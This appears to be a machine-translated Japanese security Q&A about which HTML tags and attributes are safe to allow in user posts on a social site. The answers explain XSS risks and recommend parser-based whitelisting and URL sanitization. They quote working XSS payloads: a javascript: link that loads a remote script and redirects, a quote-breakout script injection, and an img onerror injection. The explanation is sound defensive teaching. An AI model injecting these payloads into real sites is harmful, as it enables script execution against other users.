私はソーシャルWebサイトを開発しており、ユーザーが投稿でこれらのhtmlタグと属性のみを使用できるようにしたいと考えています。
tags: <img>, <b>, <strong>, <blockquote>, <a>
attributes: 'src', 'alt', 'width', 'height', 'href', 'class'
それらのいずれかを許可すると、いくつかのXSSまたは他のエクスプロイトへの扉を開くことができるかどうか疑問に思っていますか?
たとえばhttp:ではなくjavascript:を入力するなど、ユーザーがプロトコルを定義できるようにすると、Src属性がXSSにつながる可能性があります。
例:<a src=javascript:alert()>
さらに、ユーザーが属性/タグから脱出できないように、ユーザー制御変数に適切な出力エンコーディングを使用する必要があります。たとえば、次のタグがあるとします。
<a href="USER CONTROLLED DATA">
適切な出力エンコーディングがない場合、ユーザーは次のデータを入力できます。
"><script>alert();</script>
つまり、タグは次のようになります。
<a href=""><script>alert();</script>">
[〜#〜] xss [〜#〜]
フィルターが完全に機能すると私たちが想定している場合でも(これは自動的には実行されません。フィルター処理はかなり複雑で、間違いが起こりやすい)、XSSにつながる可能性があります。
まだ言及されていないため、JavaScriptが実行されるため、a
とフィルタリングされていないhref
の組み合わせは安全ではありません。攻撃者はリモートスクリプトをロードしてリダイレクトすることができるため、リンクは通常のリンクとして機能します。
<a href="javascript:s=document.createElement('script');s.src='http://localhost/s.js';document.body.appendChild(s);window.location='http://www.google.com/'">click</a>
被害者は実際にリンクをクリックする必要がありますが、攻撃者は興味深いリンクを提供するか、ClickJackingを使用してこれを達成できます。
エンコーディング
エンコーディングを使用せず、タグフィルタリングのみを使用することをコメントで述べたため、引用符をエンコードしない場合、攻撃者は現在の属性のコンテキストから抜け出すことができます。例えば:
<img src="user_input">
と
user_input = invalid" onerror="alert(1)
につながる
<img src="invalid" onerror="alert(1)">
これはすべてのブラウザで実行されます。
既存の回答に追加するには:コードによっては、class属性を誤用する可能性もあります。 Webアプリケーションに、特定のクラスの要素または特定の動作(クラスで設定可能)を示す要素にバインドするコードがあると想像してください。この場合、ユーザーがHTMLでクラス名を使用できるようにすると、このコードがトリガーされる可能性があります。また、コードはユーザーのHTMLによって定義されたコンテキストで実行されることを想定していないため、予期しない結果になる可能性があります。
もちろん、タグや特定の属性に基づいてコードバインディングを作成することもできます。これは、許可する他のタグや属性と同様に悪用される可能性があります。しかし、クラスのバインディングを持つことはより一般的です。
それを除いて、悪いことをフィルタリングするためにどんな種類の正規表現も使用しないでください(コメントに従って意図したように)。 HTMLで他の種類のマークアップと同じように扱うことを本当に許可したい場合、つまり、それを内部フォームに解析し、それから結果のHTMLを作成します。そしてもちろん、ユーザーから取得した属性値を確認して変更する必要があります。つまり、クラス名をホワイトリストセットに制限し、URLをサニタイズし、altタグのコンテンツを適切にエスケープし、幅と高さのサイズを制限します(またはより良い:画像自体からこれらの情報を取得します)...これらのブラックリストをバイパスする十分な方法があるので、ユーザー入力から一見悪いものだけを取り除こうとするべきではありません。ブラウザは壊れたHTMLを独創的な方法で解釈します。